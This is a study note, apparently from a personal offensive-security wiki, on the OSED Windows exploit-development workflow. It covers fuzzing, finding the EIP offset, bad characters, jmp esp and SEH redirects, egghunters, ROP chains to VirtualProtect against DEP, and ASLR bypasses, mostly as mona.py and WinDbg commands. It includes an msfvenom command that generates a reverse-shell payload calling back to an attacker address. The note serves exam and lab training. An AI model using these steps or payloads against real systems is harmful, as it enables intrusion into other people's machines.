| title | Windows Exploit Development (OSED workflow) | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
| type | technique | ||||||||||
| tags |
|
||||||||||
| phase | exploitation | ||||||||||
| date_created | 2026-06-18 | ||||||||||
| date_updated | 2026-06-18 | ||||||||||
| sources |
|
The end-to-end workflow for the OSED (EXP-301) exam and classic Windows userland stack exploitation: fuzz a service to crash, gain instruction-pointer control, handle bad characters, redirect to your shellcode, and defeat DEP/ASLR. mona.py (in Immunity Debugger or WinDbg) drives every step. SEH-specific chains: [[seh-exploitation]]; Linux/glibc and heap: [[binary-exploitation]], [[heap-exploitation]]; shellcode/encoding: [[encoding-transformations]].
- Debugger: Immunity Debugger or WinDbg +
mona.py(Corelan). Set the working folder:!mona config -set workingfolder c:\mona\%p. msf-pattern_create/msf-pattern_offset(or!mona pattern_create/pattern_offset),msfvenom,nasm_shell.rb.
# spike/boofuzz/custom: grow input until the service crashes; note the length
buf = b"A" * 5000
# in the debugger, EIP = 41414141 -> you control EIP at some offsetFind the exact offset:
!mona pattern_create 5000 # paste into PoC
!mona pattern_offset 41346941 # EIP value at crash -> exact offset
# verify: B*offset + "BBBB" + "C"*remainder -> EIP == 42424242
Bad chars (e.g. \x00\x0a\x0d) truncate or corrupt the payload; you must know them before choosing a jump address and encoding shellcode.
!mona bytearray -b "\x00" # generates bytearray.bin + the byte string
# send "...\x01\x02...\xff" in place of shellcode, then compare memory to the file:
!mona compare -f c:\mona\bytearray.bin -a <ESP_addr>
# remove each flagged byte, regenerate, repeat until "unmodified"
- Direct EIP overwrite (jmp esp): find a
jmp esp/call espin a module without ASLR/DEP-rebase and free of bad chars:
!mona jmp -r esp -cpb "\x00\x0a\x0d"
!mona modules # pick a module: ASLR=False, Rebase=False, SafeSEH=False
Overwrite EIP with that address; ESP points at your shellcode (often after a short jmp/nops).
- SEH overwrite: overwrite the SEH handler with a
POP POP RETfrom a non-SafeSEH module, nSEH with a short jump. Full chain in [[seh-exploitation]]:
!mona seh -cpb "\x00\x0a\x0d"
If the overflow buffer is too small for full shellcode, drop a small (~32-byte) egghunter that scans process memory for an 8-byte tag (w00tw00t) prefixing your real shellcode (staged elsewhere in memory, e.g. another input field).
!mona egg -t w00t # generates the egghunter; uses NtAccessCheckAndAuditAlarm/syscall scan
# place egghunter at EIP target; place "w00tw00t" + real_shellcode anywhere reachable
With DEP (NX), the stack is non-executable - you cannot jmp esp into shellcode. Build a ROP chain that calls VirtualProtect (mark shellcode RWX) or VirtualAlloc/WriteProcessMemory then jumps in.
!mona rop -m "*.dll" -cpb "\x00\x0a\x0d" # generates rop_chains.txt (Python ready) + rop suggestions
# Use the VirtualProtect skeleton from rop_chains.txt; mona fills gadgets where possible,
# hand-fix the "[-]" gaps. Chain sets: lpAddress=shellcode, dwSize, flNewProtect=0x40 (RWX), lpflOldProtect.
VirtualProtect(addr, size, 0x40 PAGE_EXECUTE_READWRITE, writable_ptr) then return into the now-executable shellcode.
If all useful modules are ASLR-enabled: find one module compiled without /DYNAMICBASE (!mona modules -> ASLR False) and source all gadgets/jmp from it; or use a partial EIP overwrite (overwrite only the low bytes that do not change under ASLR); or chain an info leak to defeat it.
# encode around bad chars; -e none if shellcode is already clean
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 \
-b "\x00\x0a\x0d" -f python -v shellcode- Prepend a NOP sled / register-alignment stub (
\x90or arithmetic to fix ESP) before the decoder stub. - Restricted character sets: for alphanumeric-only buffers use
-e x86/alpha_mixed(alphanumeric shellcode). For Unicode/wide-char (MultiByteToWideChar) overflows, use venetian shellcode (x86/unicode_mixed) with a known alignment register (BufferRegister). - Custom shellcode: assemble with
nasm_shell.rb/ nasm, null-free, test in a harness.
!load narly ; !nmod # list module protections (ASLR/DEP/SafeSEH) in WinDbg
!exchain # show the SEH chain
bp / g / p / t # breakpoint / go / step-over / step-into
s -a 0 L?80000000 "string" # search memory for a string/tag
- OffSec EXP-301 / OSED syllabus (slug: osed-exp301).
- Corelan "Exploit writing tutorial" series (slug: corelan-exploit-writing) (
https://www.corelan.be/). - Corelan mona.py manual (slug: mona-py-manual) (
https://github.com/corelan/mona).